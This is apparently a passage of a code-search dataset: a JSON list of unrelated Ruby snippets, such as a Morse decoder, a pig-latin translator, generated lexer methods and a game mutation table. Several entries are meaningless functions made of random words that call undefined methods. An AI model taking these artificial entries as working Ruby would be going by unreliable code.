Ba'ath Party remained open to all Iraqi citizens regardless of background.\\n However, repressive measures were taken against its opponents. The major\\n instruments for accomplishing this control were the paramilitary and police\\n organizations. Saddam was notable for using terror against his own people.\\n Saddam's regime was responsible for the deaths of at least 250,000\\n Iraqis and committed war crimes in Iran, Kuwait, and Saudi Arabia. Human\\n Rights Watch and Amnesty International issued regular reports of widespread\\n imprisonment and torture.\\\"\\n\\n crazy_acts\\n\\nend\",\n \"def commensurably_nemathecium(contentional, arraignment_yeo)\\n objectization_underpressure_beautifully()\\n adolescent(government)\\n end\",\n \"def mechanic_quest; end\",\n \"def decodeMorse2(morseCode)\\n letters = []\\n words = []\\n word = \\\"\\\"\\n sentence = morseCode.split(\\\" \\\")\\n\\n sentence.each_with_index do |x,i|\\n letters[i] = x.split(\\\" \\\")\\n end\\n\\n 0.upto(letters.length - 1) do |i|\\n word = \\\"\\\"\\n 0.upto(letters[i].length - 1) do |x|\\n case letters[i][x]\\n when \\\"...---...\\\" then word += \\\"SOS\\\"\\n when \\\"-.-.--\\\" then word += \\\"!\\\"\\n when \\\".-.-.-\\\" then word += \\\".\\\"\\n when \\\".-\\\" then word += \\\"A\\\"\\n when \\\"-...\\\" then word += \\\"B\\\"\\n when \\\"-.-.\\\" then word += \\\"C\\\"\\n when \\\"-..\\\" then word += \\\"D\\\"\\n when \\\".\\\" then word += \\\"E\\\"\\n when \\\"..-.\\\" then word += \\\"F\\\"\\n when \\\"--.\\\" then word += \\\"G\\\"\\n when \\\"....\\\" then word += \\\"H\\\"\\n when \\\"..\\\" then word += \\\"I\\\"\\n when \\\".---\\\" then word += \\\"J\\\"\\n when \\\"-.-\\\" then word += \\\"K\\\"\\n when \\\".-..\\\" then word += \\\"L\\\"\\n when \\\"--\\\" then word += \\\"M\\\"\\n when \\\"-.\\\" then word += \\\"N\\\"\\n when \\\"---\\\" then word += \\\"O\\\"\\n when \\\".--.\\\" then word += \\\"P\\\"\\n when \\\"--.-\\\" then word += \\\"Q\\\"\\n when \\\".-.\\\" then word += \\\"R\\\"\\n when \\\"...\\\" then word += \\\"S\\\"\\n when \\\"-\\\" then word += \\\"T\\\"\\n when \\\"..-\\\" then word += \\\"U\\\"\\n when \\\"...-\\\" then word += \\\"V\\\"\\n when \\\".--\\\" then word += \\\"W\\\"\\n when \\\"-..-\\\" then word += \\\"X\\\"\\n when \\\"-.--\\\" then word += \\\"Y\\\"\\n when \\\"--..\\\" then word += \\\"Z\\\"\\n when \\\".----\\\" then word += \\\"1\\\"\\n when \\\"..---\\\" then word += \\\"2\\\"\\n when \\\"...--\\\" then word += \\\"3\\\"\\n when \\\"....-\\\" then word += \\\"4\\\"\\n when \\\".....\\\" then word += \\\"5\\\"\\n when \\\"-....\\\" then word += \\\"6\\\"\\n when \\\"--...\\\" then word += \\\"7\\\"\\n when \\\"---..\\\" then word += \\\"8\\\"\\n when \\\"----.\\\" then word += \\\"9\\\"\\n when \\\"-----\\\" then word += \\\"0\\\"\\n end\\n end\\n words << word if word != \\\"\\\"\\n end\\n words.join(\\\" \\\")\\nend\",\n \"def indefinite_reflexive_pronoun\\n return \\\"itself\\\"\\n end\",\n \"def difficultly(qoph_ridding, fadedness_santalaceae)\\n biopsychologist_hamidian_tachardiinae()\\n inigo()\\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\\n end\",\n \"def noun; end\",\n \"def noun; end\",\n \"def gluck_italian; end\",\n \"def schubert; end\",\n \"def stop_words\\n # Words taken from Jonathan Feinberg's cue.language (via jasondavies.com), see lib/cue.language/license.txt.\\n \\\"i|me|my|myself|we|us|our|ours|ourselves|you|your|yours|yourself|yourselves|he|him|his|himself|she|her|hers|herself|it|its|itself|they|them|their|theirs|themselves|what|which|who|whom|whose|this|that|these|those|am|is|are|was|were|be|been|being|have|has|had|having|do|does|did|doing|will|would|should|can|could|ought|im|youre|hes|shes|its|were|theyre|ive|youve|weve|theyve|id|youd|hed|shed|wed|theyd|ill|youll|hell|shell|well|theyll|isnt|arent|wasnt|werent|hasnt|havent|hadnt|doesnt|dont|didnt|wont|wouldnt|shant|shouldnt|cant|cannot|couldnt|mustnt|lets|thats|whos|whats|heres|theres|whens|wheres|whys|hows|a|an|the|and|but|if|or|because|as|until|while|of|at|by|for|with|about|against|between|into|through|during|before|after|above|below|to|from|up|upon|down|in|out|on|off|over|under|again|further|then|once|here|there|when|where|why|how|all|any|both|each|few|more|most|other|some|such|no|nor|not|only|own|same|so|than|too|very|say|says|said|shall\\\"\\nend\",\n \"def techno_percussion len\\n self << len.Dist # bass drum\\n mapee_last.clear_hits\\n mapee_last << 4.eqly_spaced\\n # max len is full, min quarter\\n h_num = mapee_last.hits.count\\n h_num = 1 if h_num == 0\\n mapee_last.length= rand_range(len*0.666/h_num, len*0.11/h_num) \\n\\n self << len.Dist # snare\\n mapee_last.clear_hits\\n mapee_last << [0.25,0.75]\\n h_num = mapee_last.hits.count\\n h_num = 1 if h_num == 0\\n mapee_last.length= rand_range(len/h_num, len/h_num/2) \\n \\n self << len.Dist # hi\\n mapee_last.clear_hits\\n mapee_last << 4.eqly_spaced\\n mapee_last.hits.move(0.125) # offbeats\\n h_num = mapee_last.hits.count\\n h_num = 1 if h_num == 0\\n mapee_last.length= rand_range(len*0.666/h_num, len*0.666/h_num/2) \\n \\n self\\n end\",\n \"def typoglycemiaWord(input)\\n if input.length <= 3\\n input\\n end\\n letters = input.chars\\n last = letters.pop\\n first = letters.shift\\n letters.shuffle!\\n letters << first\\n letters.rotate!(-1)\\n letters << last\\n letters.join\\nend\",\n \"def who_we_are\\r\\n end\",\n \"def token!\\n # at line 1:8: ( T__12 | T__13 | T__14 | T__15 | T__16 | T__17 | T__18 | T__19 | T__20 | T__21 | T__22 | T__23 | T__24 | T__25 | T__26 | T__27 | T__28 | T__29 | T__30 | T__31 | T__32 | T__33 | T__34 | T__35 | T__36 | T__37 | T__38 | T__39 | T__40 | T__41 | T__42 | T__43 | T__44 | T__45 | T__46 | T__47 | T__48 | T__49 | T__50 | T__51 | T__52 | T__53 | T__54 | T__55 | T__56 | T__57 | T__58 | T__59 | ST | ND | RD | TH | DIGIT | WS | EOL | LETTER )\\n alt_7 = 56\\n alt_7 = @dfa7.predict( @input )\\n case alt_7\\n when 1\\n # at line 1:10: T__12\\n t__12!\\n\\n when 2\\n # at line 1:16: T__13\\n t__13!\\n\\n when 3\\n # at line 1:22: T__14\\n t__14!\\n\\n when 4\\n # at line 1:28: T__15\\n t__15!\\n\\n when 5\\n # at line 1:34: T__16\\n t__16!\\n\\n when 6\\n # at line 1:40: T__17\\n t__17!\\n\\n when 7\\n # at line 1:46: T__18\\n t__18!\\n\\n when 8\\n # at line 1:52: T__19\\n t__19!\\n\\n when 9\\n # at line 1:58: T__20\\n t__20!\\n\\n when 10\\n # at line 1:64: T__21\\n t__21!\\n\\n when 11\\n # at line 1:70: T__22\\n t__22!\\n\\n when 12\\n # at line 1:76: T__23\\n t__23!\\n\\n when 13\\n # at line 1:82: T__24\\n t__24!\\n\\n when 14\\n # at line 1:88: T__25\\n t__25!\\n\\n when 15\\n # at line 1:94: T__26\\n t__26!\\n\\n when 16\\n # at line 1:100: T__27\\n t__27!\\n\\n when 17\\n # at line 1:106: T__28\\n t__28!\\n\\n when 18\\n # at line 1:112: T__29\\n t__29!\\n\\n when 19\\n # at line 1:118: T__30\\n t__30!\\n\\n when 20\\n # at line 1:124: T__31\\n t__31!\\n\\n when 21\\n # at line 1:130: T__32\\n t__32!\\n\\n when 22\\n # at line 1:136: T__33\\n t__33!\\n\\n when 23\\n # at line 1:142: T__34\\n t__34!\\n\\n when 24\\n # at line 1:148: T__35\\n t__35!\\n\\n when 25\\n # at line 1:154: T__36\\n t__36!\\n\\n when 26\\n # at line 1:160: T__37\\n t__37!\\n\\n when 27\\n # at line 1:166: T__38\\n t__38!\\n\\n when 28\\n # at line 1:172: T__39\\n t__39!\\n\\n when 29\\n # at line 1:178: T__40\\n t__40!\\n\\n when 30\\n # at line 1:184: T__41\\n t__41!\\n\\n when 31\\n # at line 1:190: T__42\\n t__42!\\n\\n when 32\\n # at line 1:196: T__43\\n t__43!\\n\\n when 33\\n # at line 1:202: T__44\\n t__44!\\n\\n when 34\\n # at line 1:208: T__45\\n t__45!\\n\\n when 35\\n # at line 1:214: T__46\\n t__46!\\n\\n when 36\\n # at line 1:220: T__47\\n t__47!\\n\\n when 37\\n # at line 1:226: T__48\\n t__48!\\n\\n when 38\\n # at line 1:232: T__49\\n t__49!\\n\\n when 39\\n # at line 1:238: T__50\\n t__50!\\n\\n when 40\\n # at line 1:244: T__51\\n t__51!\\n\\n when 41\\n # at line 1:250: T__52\\n t__52!\\n\\n when 42\\n # at line 1:256: T__53\\n t__53!\\n\\n when 43\\n # at line 1:262: T__54\\n t__54!\\n\\n when 44\\n # at line 1:268: T__55\\n t__55!\\n\\n when 45\\n # at line 1:274: T__56\\n t__56!\\n\\n when 46\\n # at line 1:280: T__57\\n t__57!\\n\\n when 47\\n # at line 1:286: T__58\\n t__58!\\n\\n when 48\\n # at line 1:292: T__59\\n t__59!\\n\\n when 49\\n # at line 1:298: ST\\n st!\\n\\n when 50\\n # at line 1:301: ND\\n nd!\\n\\n when 51\\n # at line 1:304: RD\\n rd!\\n\\n when 52\\n # at line 1:307: TH\\n th!\\n\\n when 53\\n # at line 1:310: DIGIT\\n digit!\\n\\n when 54\\n # at line 1:316: WS\\n ws!\\n\\n when 55\\n # at line 1:319: EOL\\n eol!\\n\\n when 56\\n # at line 1:323: LETTER\\n letter!\\n\\n end\\n end\",\n \"def banana(name)\\n\\n# For names that start with vowels\\nif name.downcase.start_with?('a','e','i','o','u')\\n mod_name = name.downcase\\n# For names that begin with a 2-letter consonant cluster\\nelsif name.downcase.start_with?('bl', 'br', 'cl', 'cr', 'dr', 'fl', 'fr', 'gl', 'gr', 'pl', 'pr', 'sc', 'sk', 'sl', 'sm', 'sn', 'sp', 'st', 'sw', 'th', 'tr', 'ch')\\n mod_name = name.slice(2..-1)\\n# For names that begin with a 3-letter consonant cluster\\nelsif name.downcase.start_with?('chr', 'thr', 'sch', 'scl', 'scr', 'shr', 'spl', 'spr', 'str', 'squ')\\n mod_name = name.slice(3..-1)\\n# For all other names\\nelse\\n mod_name = name.downcase.slice(1..-1)\\nend\\n\\nif name.downcase == \\\"orange\\\"\\n\\tputs \\\"Nothing rhymes with orange.\\\"\\nelse\\nputs name.capitalize + \\\", \\\" + name.capitalize + \\\", bo-\\\" + (name.downcase.start_with?('b') ? mod_name.downcase.slice(0..-1) : \\\"b\\\"+mod_name) + \\\" \\\\r\\\\n\\\" + \\n\\\"Banana-fana fo-\\\" + (name.downcase.start_with?('f') ? mod_name.downcase.slice(0..-1) : \\\"f\\\"+mod_name) + \\\" \\\\r\\\\n\\\" + \\n\\\"Fee-Fi-mo-\\\" + (name.downcase.start_with?('m') ? mod_name.downcase.slice(0..-1) : \\\"m\\\"+mod_name) + \\\" \\\\r\\\\n\\\" + \\nname.upcase + \\\"!\\\"\\nend\\n\\nend\",\n \"def flaw_mutations_determination(roll)\\n case roll\\n when 01..02\\n @@flaw_mutations << \\\"Abnormal Anxiety\\\"\\n when 03..04\\n @@flaw_mutations << \\\"Altered Digestive Tract\\\"\\n when 05..06\\n @@flaw_mutations << \\\"Baldness\\\"\\n when 07..17\\n @@flaw_mutations << \\\"Birth Defect\\\"\\n when 18..19\\n @@flaw_mutations << \\\"Blocked Sinuses\\\"\\n when 20..21\\n @@flaw_mutations << \\\"Chronic Acne\\\"\\n when 22..23\\n @@flaw_mutations << \\\"Chronic Dermatitis\\\"\\n when 24..25\\n @@flaw_mutations << \\\"Chronic IngrownHairs\\\"\\n when 26..27\\n @@flaw_mutations << \\\"Chronic Ulcers\\\"\\n when 28..29\\n @@flaw_mutations << \\\"Coronary Thrombosis\\\"\\n when 30..31\\n @@flaw_mutations << \\\"Degenerated Nervous System\\\"\\n when 32..33\\n @@flaw_mutations << \\\"Dizziness\\\"\\n when 34..35\\n @@flaw_mutations << \\\"Early Menopause (females only)\\\"\\n when 36..37\\n @@flaw_mutations << \\\"Excessive Lung Fluid\\\"\\n when 38..39\\n @@flaw_mutations << \\\"Exhaustion\\\"\\n when 40..41\\n @@flaw_mutations << \\\"Extensive Warts\\\"\\n when 42..43\\n @@flaw_mutations << \\\"Extreme Halitosis\\\"\\n when 44..45\\n @@flaw_mutations << \\\"Faulty Immune System\\\"\\n when 46\\n @@flaw_mutations << \\\"Flammable Tissues\\\"\\n when 47\\n @@flaw_mutations << \\\"Hemophilia\\\"\\n when 48..49\\n @@flaw_mutations << \\\"Hormone Disorder\\\"\\n when 50..51\\n @@flaw_mutations << \\\"Inadequate Nerve Endings\\\"\\n when 52\\n @@flaw_mutations << \\\"Increased Aging\\\"\\n when 53\\n @@flaw_mutations << \\\"Increased Flatulence\\\"\\n when 54..57\\n @@flaw_mutations << \\\"Intense Allergy\\\"\\n when 58..59\\n @@flaw_mutations << \\\"Male Menopause (males only)\\\"\\n when 60..61\\n @@flaw_mutations << \\\"Migraine Headaches\\\"\\n when 62..63\\n @@flaw_mutations << \\\"Osteoporosis\\\"\\n when 64..65\\n @@flaw_mutations << \\\"Permanent Rhinitis\\\"\\n when 66..67\\n @@flaw_mutations << \\\"Perpetual Hiccups\\\"\\n when 68..69\\n @@flaw_mutations << \\\"Pre-Senile Dementia\\\"\\n when 70..71\\n @@flaw_mutations << \\\"Psoriasis\\\"\\n when 72..73\\n @@flaw_mutations << \\\"Reactionary Scent\\\"\\n when 74\\n @@flaw_mutations << \\\"Repeat Paralysis\\\"\\n when 75\\n @@flaw_mutations << \\\"Sonic Intolerance\\\"\\n when 76..77\\n @@flaw_mutations << \\\"Sterility\\\"\\n when 78..79\\n @@flaw_mutations << \\\"Tapeworms\\\"\\n when 80..81\\n @@flaw_mutations << \\\"Tooth Decay\\\"\\n when 82..86\\n @@flaw_mutations << \\\"Toxic Susceptibility\\\"\\n when 87..88\\n @@flaw_mutations << \\\"Tranquilizer Agent\\\"\\n when 89..94\\n @@flaw_mutations << \\\"Visual Disorder\\\"\\n when 95..96\\n @@flaw_mutations << \\\"Voice Disorder\\\"\\n when 97..98\\n @@flaw_mutations << \\\"Weeping\\\"\\n when 99..00\\n @@flaw_mutations << \\\"Whistle Croup\\\"\\n end\\n end\",\n \"def token!\\n # at line 1:8: ( T__48 | T__49 | T__50 | T__51 | T__52 | CATEGORY_KEY | LINK_KEY | X_OCCI_ATTRIBUTE_KEY | X_OCCI_LOCATION_KEY | ACTION | ACTIONS | AMPERSAND | AT | ATTRIBUTES | BACKSLASH | CATEGORY | CLASS | COLON | DASH | DOT | EQUALS | GT | HASH | KIND | LINK | LOCATION | LT | MIXIN | PERCENT | PLUS | QUESTION | QUOTE | REL | SCHEME | SELF | SEMICOLON | SLASH | SQUOTE | TERM | TILDE | TITLE | UNDERSCORE | LBRACKET | RBRACKET | LOALPHA | UPALPHA | DIGIT | WS | ESC )\\n alt_5 = 49\\n alt_5 = @dfa5.predict( @input )\\n case alt_5\\n when 1\\n # at line 1:10: T__48\\n t__48!\\n\\n when 2\\n # at line 1:16: T__49\\n t__49!\\n\\n when 3\\n # at line 1:22: T__50\\n t__50!\\n\\n when 4\\n # at line 1:28: T__51\\n t__51!\\n\\n when 5\\n # at line 1:34: T__52\\n t__52!\\n\\n when 6\\n # at line 1:40: CATEGORY_KEY\\n category_key!\\n\\n when 7\\n # at line 1:53: LINK_KEY\\n link_key!\\n\\n when 8\\n # at line 1:62: X_OCCI_ATTRIBUTE_KEY\\n x_occi_attribute_key!\\n\\n when 9\\n # at line 1:83: X_OCCI_LOCATION_KEY\\n x_occi_location_key!\\n\\n when 10\\n # at line 1:103: ACTION\\n action!\\n\\n when 11\\n # at line 1:110: ACTIONS\\n actions!\\n\\n when 12\\n # at line 1:118: AMPERSAND\\n ampersand!\\n\\n when 13\\n # at line 1:128: AT\\n at!\\n\\n when 14\\n # at line 1:131: ATTRIBUTES\\n attributes!\\n\\n when 15\\n # at line 1:142: BACKSLASH\\n backslash!\\n\\n when 16\\n # at line 1:152: CATEGORY\\n category!\\n\\n when 17\\n # at line 1:161: CLASS\\n class!\\n\\n when 18\\n # at line 1:167: COLON\\n colon!\\n\\n when 19\\n # at line 1:173: DASH\\n dash!\\n\\n when 20\\n # at line 1:178: DOT\\n dot!\\n\\n when 21\\n # at line 1:182: EQUALS\\n equals!\\n\\n when 22\\n # at line 1:189: GT\\n gt!\\n\\n when 23\\n # at line 1:192: HASH\\n hash!\\n\\n when 24\\n # at line 1:197: KIND\\n kind!\\n\\n when 25\\n # at line 1:202: LINK\\n link!\\n\\n when 26\\n # at line 1:207: LOCATION\\n location!\\n\\n when 27\\n # at line 1:216: LT\\n lt!\\n\\n when 28\\n # at line 1:219: MIXIN\\n mixin!\\n\\n when 29\\n # at line 1:225: PERCENT\\n percent!\\n\\n when 30\\n # at line 1:233: PLUS\\n plus!\\n\\n when 31\\n # at line 1:238: QUESTION\\n question!\\n\\n when 32\\n # at line 1:247: QUOTE\\n quote!\\n\\n when 33\\n # at line 1:253: REL\\n rel!\\n\\n when 34\\n # at line 1:257: SCHEME\\n scheme!\\n\\n when 35\\n # at line 1:264: SELF\\n self!\\n\\n when 36\\n # at line 1:269: SEMICOLON\\n semicolon!\\n\\n when 37\\n # at line 1:279: SLASH\\n slash!\\n\\n when 38\\n # at line 1:285: SQUOTE\\n squote!\\n\\n when 39\\n # at line 1:292: TERM\\n term!\\n\\n when 40\\n # at line 1:297: TILDE\\n tilde!\\n\\n when 41\\n # at line 1:303: TITLE\\n title!\\n\\n when 42\\n # at line 1:309: UNDERSCORE\\n underscore!\\n\\n when 43\\n # at line 1:320: LBRACKET\\n lbracket!\\n\\n when 44\\n # at line 1:329: RBRACKET\\n rbracket!\\n\\n when 45\\n # at line 1:338: LOALPHA\\n loalpha!\\n\\n when 46\\n # at line 1:346: UPALPHA\\n upalpha!\\n\\n when 47\\n # at line 1:354: DIGIT\\n digit!\\n\\n when 48\\n # at line 1:360: WS\\n ws!\\n\\n when 49\\n # at line 1:363: ESC\\n esc!\\n\\n end\\n end\",\n \"def repair(text); end\",\n \"def broad_sword\\n # use regexp since .. is used for wildcard\\n Regexp.new s_to_h(<<-S)\\n B1 96 B1 D3 ED AE 5F 92 F4 65 03 01 .. FF FF FF\\n FF .. .. .. .. 23 19 01 0B 00 00 00 00 08 00 00\\n 00 2A 00 00 00 00 00 00 00 02 00 00 00 00 00 00\\n 00 02 00 00 00 02 00 00 00 99 32 C5 C4 CC 57 6D\\n 43 87 6B 03 01 FF FF FF FF 99 32 C5 C4 CC 57 6D\\n 43 27 9E 00 01 FF FF FF FF 01 00 00 00 99 32 C5\\n C4 CC 57 6D 43 27 9E 00 01 FF FF FF FF 13 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 06 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00\\n 00\\n S\\nend\",\n \"def puncture\\n end\",\n \"def celebration; end\",\n \"def king_richard_iii_quote; end\",\n \"def tuc(arg)\\n h = Hash.[](\\\".\\\"=>\\\"་\\\", \\\"/\\\"=>\\\"།\\\", \\\";\\\"=>\\\"༔\\\", \\\"\\\"=>\\\"\\\",\\n \\\"ka\\\"=>\\\"ཀ\\\", \\\"kha\\\"=>\\\"ཁ\\\", \\\"ga\\\"=>\\\"ག\\\", \\\"nga\\\"=>\\\"ང\\\",\\n \\\"ca\\\"=>\\\"ཅ\\\", \\\"cha\\\"=>\\\"ཆ\\\", \\\"ja\\\"=>\\\"ཇ\\\", \\\"nya\\\"=>\\\"ཉ\\\",\\n \\\"ta\\\"=>\\\"ཏ\\\", \\\"tha\\\"=>\\\"ཐ\\\", \\\"da\\\"=>\\\"ད\\\", \\\"na\\\"=>\\\"ན\\\",\\n \\\"pa\\\"=>\\\"པ\\\", \\\"pha\\\"=>\\\"ཕ\\\", \\\"ba\\\"=>\\\"བ\\\", \\\"ma\\\"=>\\\"མ\\\",\\n \\\"tsa\\\"=>\\\"ཙ\\\", \\\"tsha\\\"=>\\\"ཚ\\\", \\\"dza\\\"=>\\\"ཛ\\\", \\\"wa\\\"=>\\\"ཝ\\\",\\n \\\"zha\\\"=>\\\"ཞ\\\", \\\"za\\\"=>\\\"ཟ\\\", \\\"'a\\\"=>\\\"འ\\\", \\\"ya\\\"=>\\\"ཡ\\\",\\n \\\"ra\\\"=>\\\"ར\\\", \\\"la\\\"=>\\\"ལ\\\", \\\"sha\\\"=>\\\"ཤ\\\", \\\"sa\\\"=>\\\"ས\\\",\\n \\\"ha\\\"=>\\\"ཧ\\\", \\\"a\\\"=>\\\"ཨ\\\",\\n # numbers !!! better include number_generator\\n \\\"0\\\"=>\\\"༠\\\", \\\"1\\\"=>\\\"༡\\\", \\\"2\\\"=>\\\"༢\\\", \\\"3\\\"=>\\\"༣\\\",\\n \\\"4\\\"=>\\\"༤\\\", \\\"5\\\"=>\\\"༥\\\", \\\"6\\\"=>\\\"༦\\\", \\\"7\\\"=>\\\"༧\\\",\\n \\\"8\\\"=>\\\"༨\\\", \\\"9\\\"=>\\\"༩\\\",\\n # vowel signs\\n \\\".e\\\"=>\\\"ེ\\\", \\\".i\\\"=>\\\"ི\\\", \\\".o\\\"=>\\\"ོ\\\", \\\".u\\\"=>\\\"ུ\\\",\\n # double vowel signs\\n \\\"E\\\" => \\\"ཻ\\\", \\\"O\\\" => \\\"ཽ\\\",\\n # subscribed characters\\n \\\"x_ka\\\"=>\\\"ྐ\\\", \\\"x_kha\\\"=>\\\"ྑ\\\", \\\"x_ga\\\"=>\\\"ྒ\\\", \\\"x_nga\\\"=>\\\"ྔ\\\",\\n \\\"x_ca\\\"=>\\\"ྕ\\\", \\\"x_cha\\\"=>\\\"ྖ\\\", \\\"x_ja\\\"=>\\\"ྗ\\\", \\\"x_nya\\\"=>\\\"ྙ\\\",\\n \\\"x_ta\\\"=>\\\"ྟ\\\", \\\"x_tha\\\"=>\\\"ྐ\\\", \\\"x_da\\\"=>\\\"ྡ\\\", \\\"x_na\\\"=>\\\"ྣ\\\",\\n \\\"x_pa\\\"=>\\\"ྤ\\\", \\\"x_pha\\\"=>\\\"ྥ\\\", \\\"x_ba\\\"=>\\\"ྦ\\\", \\\"x_ma\\\"=>\\\"ྨ\\\",\\n \\\"x_tsa\\\"=>\\\"ྩ\\\", \\\"x_tsha\\\"=>\\\"ྪ\\\", \\\"x_dza\\\"=>\\\"ྫ\\\", \\\"x_wa\\\"=>\\\"ྭ\\\",\\n \\\"x_zha\\\"=>\\\"ྮ\\\", \\\"x_za\\\"=>\\\"ྯ\\\", \\\"x_'a\\\"=>\\\"ཱ\\\", \\\"x_ya\\\"=>\\\"ྱ\\\",\\n \\\"x_ra\\\"=>\\\"ྲ\\\", \\\"x_la\\\"=>\\\"ླ\\\", \\\"x_sha\\\"=>\\\"ྴ\\\", \\\"x_sa\\\"=>\\\"ྶ\\\",\\n \\\"x_ha\\\"=>\\\"ྷ\\\", \\\"x_a\\\"=>\\\"ྸ\\\",\\n # superscribed character\\n \\\"ra_x\\\"=>\\\"ར\\\",\\n # revered letters\\n \\\"Ta\\\"=>\\\"ཊ\\\", \\\"Tha\\\" => \\\"ཋ\\\", \\\"Da\\\" => \\\"ཌ\\\", \\\"Na\\\" => \\\"ཎ\\\",\\n \\\"Sha\\\" => \\\"ཥ\\\")\\n\\n result = h[arg]\\n if result != nil\\n erg = result\\n else\\n erg = \\\"\\\"\\n end\\n return erg\\n end\",\n \"def ragman_quest; end\",\n \"def hornlike(adet_mortification, hyperconscious)\\n shadowiness_priceable(disinterment, pericellular_homogenization)\\n counterbreastwork_knickerbockered()\\n subspecialty_universalian(whereon, ciliated_papaverous, eurhodine)\\n end\",\n \"def sittinae_hooey(scrawny_appulsion, termly)\\n end\",\n \"def drupal(counterquartered, pantryman)\\n ulua()\\n nonremonstrance_novial_tautoousian(englishly_lamboys)\\n dissert_dilleniaceous(contralto_morne, geniohyoglossal, aptotic_inherency)\\n end\",\n \"def token!\\n # at line 1:8: ( T__30 | T__31 | T__32 | T__33 | T__34 | T__35 | T__36 | T__37 | T__38 | T__39 | T__40 | T__41 | T__42 | T__43 | T__44 | T__45 | T__46 | T__47 | T__48 | T__49 | T__50 | T__51 | T__52 | T__53 | T__54 | INTEGER | FLOAT | BOOLEAN | STRING | CHAR | INIT | OPEN | CLOSE | TYPE_INT | TYPE_FLOAT | TYPE_STRING | TYPE_BOOL | TYPE_VOID | ENTITY | COMPONENT | SYSTEM | ENUM | IF | ELSE | RETURN | WHILE | IDENT | WS | COMMENT | MULTILINE_COMMENT | NL )\\n alt_9 = 51\\n alt_9 = @dfa9.predict( @input )\\n case alt_9\\n when 1\\n # at line 1:10: T__30\\n t__30!\\n\\n\\n when 2\\n # at line 1:16: T__31\\n t__31!\\n\\n\\n when 3\\n # at line 1:22: T__32\\n t__32!\\n\\n\\n when 4\\n # at line 1:28: T__33\\n t__33!\\n\\n\\n when 5\\n # at line 1:34: T__34\\n t__34!\\n\\n\\n when 6\\n # at line 1:40: T__35\\n t__35!\\n\\n\\n when 7\\n # at line 1:46: T__36\\n t__36!\\n\\n\\n when 8\\n # at line 1:52: T__37\\n t__37!\\n\\n\\n when 9\\n # at line 1:58: T__38\\n t__38!\\n\\n\\n when 10\\n # at line 1:64: T__39\\n t__39!\\n\\n\\n when 11\\n # at line 1:70: T__40\\n t__40!\\n\\n\\n when 12\\n # at line 1:76: T__41\\n t__41!\\n\\n\\n when 13\\n # at line 1:82: T__42\\n t__42!\\n\\n\\n when 14\\n # at line 1:88: T__43\\n t__43!\\n\\n\\n when 15\\n # at line 1:94: T__44\\n t__44!\\n\\n\\n when 16\\n # at line 1:100: T__45\\n t__45!\\n\\n\\n when 17\\n # at line 1:106: T__46\\n t__46!\\n\\n\\n when 18\\n # at line 1:112: T__47\\n t__47!\\n\\n\\n when 19\\n # at line 1:118: T__48\\n t__48!\\n\\n\\n when 20\\n # at line 1:124: T__49\\n t__49!\\n\\n\\n when 21\\n # at line 1:130: T__50\\n t__50!\\n\\n\\n when 22\\n # at line 1:136: T__51\\n t__51!\\n\\n\\n when 23\\n # at line 1:142: T__52\\n t__52!\\n\\n\\n when 24\\n # at line 1:148: T__53\\n t__53!\\n\\n\\n when 25\\n # at line 1:154: T__54\\n t__54!\\n\\n\\n when 26\\n # at line 1:160: INTEGER\\n integer!\\n\\n\\n when 27\\n # at line 1:168: FLOAT\\n float!\\n\\n\\n when 28\\n # at line 1:174: BOOLEAN\\n boolean!\\n\\n\\n when 29\\n # at line 1:182: STRING\\n string!\\n\\n\\n when 30\\n # at line 1:189: CHAR\\n char!\\n\\n\\n when 31\\n # at line 1:194: INIT\\n init!\\n\\n\\n when 32\\n # at line 1:199: OPEN\\n open!\\n\\n\\n when 33\\n # at line 1:204: CLOSE\\n close!\\n\\n\\n when 34\\n # at line 1:210: TYPE_INT\\n type_int!\\n\\n\\n when 35\\n # at line 1:219: TYPE_FLOAT\\n type_float!\\n\\n\\n when 36\\n # at line 1:230: TYPE_STRING\\n type_string!\\n\\n\\n when 37\\n # at line 1:242: TYPE_BOOL\\n type_bool!\\n\\n\\n when 38\\n # at line 1:252: TYPE_VOID\\n type_void!\\n\\n\\n when 39\\n # at line 1:262: ENTITY\\n entity!\\n\\n\\n when 40\\n # at line 1:269: COMPONENT\\n component!\\n\\n\\n when 41\\n # at line 1:279: SYSTEM\\n system!\\n\\n\\n when 42\\n # at line 1:286: ENUM\\n enum!\\n\\n\\n when 43\\n # at line 1:291: IF\\n if!\\n\\n\\n when 44\\n # at line 1:294: ELSE\\n else!\\n\\n\\n when 45\\n # at line 1:299: RETURN\\n return!\\n\\n\\n when 46\\n # at line 1:306: WHILE\\n while!\\n\\n\\n when 47\\n # at line 1:312: IDENT\\n ident!\\n\\n\\n when 48\\n # at line 1:318: WS\\n ws!\\n\\n\\n when 49\\n # at line 1:321: COMMENT\\n comment!\\n\\n\\n when 50\\n # at line 1:329: MULTILINE_COMMENT\\n multiline_comment!\\n\\n\\n when 51\\n # at line 1:347: NL\\n nl!\\n\\n\\n end\\n end\",\n \"def gerund\\n b = gerundive.sub( /.*\\\\s+(.*)um.*$/, \\\"\\\\\\\\1\\\" )\\n b += \\\"ī, ō, etc.\\\"\\n return b\\n end\",\n \"def translate(str)\\n\\n\\n\\n # Vowels to consider\\n vowels = [\\\"a\\\", \\\"e\\\", \\\"i\\\", \\\"o\\\", \\\"u\\\"]\\n \\n # Special cases to consider\\n two_letter_consonants = [\\\"ch\\\", \\\"sh\\\", \\\"qu\\\", \\\"th\\\", \\\"br\\\"]\\n three_letter_consonants = [\\\"thr\\\", \\\"sch\\\", \\\"squ\\\"]\\n\\n words = str.split(\\\" \\\")\\n result = []\\n\\n words.each do |word|\\n if vowels.include?(word[0])\\n result.push word << \\\"ay\\\"\\n else \\n if three_letter_consonants.include? (word[0] + word[1] + word[2])\\n first_three_letters = word.slice!(0,3)\\n \\n # Add letters to end of word with 'ay'\\n result.push word << first_three_letters << 'ay'\\n elsif two_letter_consonants.include?(word[0] + word[1])\\n first_two_letters = word.slice!(0,2)\\n result.push word << first_two_letters << \\\"ay\\\"\\n else \\n first_letter = word.slice!(0)\\n \\n # Add first letter to end of word with 'ay'\\n result.push word << first_letter << 'ay'\\n end #End of special consonant check\\n end \\n end \\n return result.join(\\\" \\\")\\nend\",\n \"def gluck_french; end\",\n \"def bizet; end\"\n]","isConversational":false},"negative_scores":{"kind":"list 